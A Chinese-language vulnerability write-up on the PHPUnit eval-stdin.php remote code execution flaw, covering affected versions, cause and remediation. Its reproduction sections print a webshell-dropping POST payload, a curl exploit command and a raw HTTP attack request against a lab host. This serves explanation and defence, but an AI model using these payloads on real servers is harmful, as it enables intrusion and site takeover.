# x00 漏洞概述

漏洞是出在 phpunit,可以使用 composer 安装。composer 是 php 包管理工具,使用 composer 安装扩展包将会在当前目录创建一个 vendor 文件夹,并将所有文件放在其中。通常这个目录需要放在 web 目录外,使用户不能直接访问。

phpunit 是 php 中的单元测试工具,其 4.8.19 ~ 4.8.27 和 5.0.10 ~ 5.6.2 版本的 vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 文件有如下代码:

eval('?>'.file_get_contents('php://input'));

如果该文件被用户直接访问到,将造成远程代码执行漏洞。

PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常 phpunit 使用 composer 非常流行的 PHP 依赖管理器进行部署,将会在当前目录创建一个 vendor 文件夹.phpunit 生产环境中仍然安装了它,如果该编写器模块存在于 Web 可访问目录,则存在远程代码执行漏洞。

访问

http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

使用 POST 方法传递一段以 “<?php” 开头的木马。

直接 POST 一句话木马。
例如:

<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');

即可远程连接。

或者用 curl 命令连接传入木马。
例如,执行以下一段代码即可输出 pi 的值。

curl -XPOST --data<?php echo(pi());” http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

# x01 影响范围

phpunit 4.8.19 - 4.8.27
phpunit 5.0.10 - 5.6.2

# x02 复现

漏洞位于 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval(’?>’.file_get_contents(‘php://input’));

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 192.168.15.130:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: phpMyAdmin=kQNMsJ02WvJVFPRjybK8UKVgUyc
Upgrade-Insecure-Requests: 1
Content-Length: 15
<?=phpinfo();?>
<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>');// 木马未写成功

image.png

# x03 漏洞背景

# x04 漏洞原理

PHPUnit 是面向程序员的 PHP 测试框架。

Util/PHP/eval-stdin.php 在 4.8.28 之前的 PHPUnit 和 5.6.3 之前的 5.x 中允许远程攻击者通过以 <?php 子字符串开头的 HTTP POST 数据执行任意 PHP 代码,如对具有暴露的 /vendor 文件夹的站点的攻击(即外部访问)所证明的到 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI。

# x05 修复方案

生产环境直接删掉 phpunit

升级 phpunit

设置权限,禁止访问该目录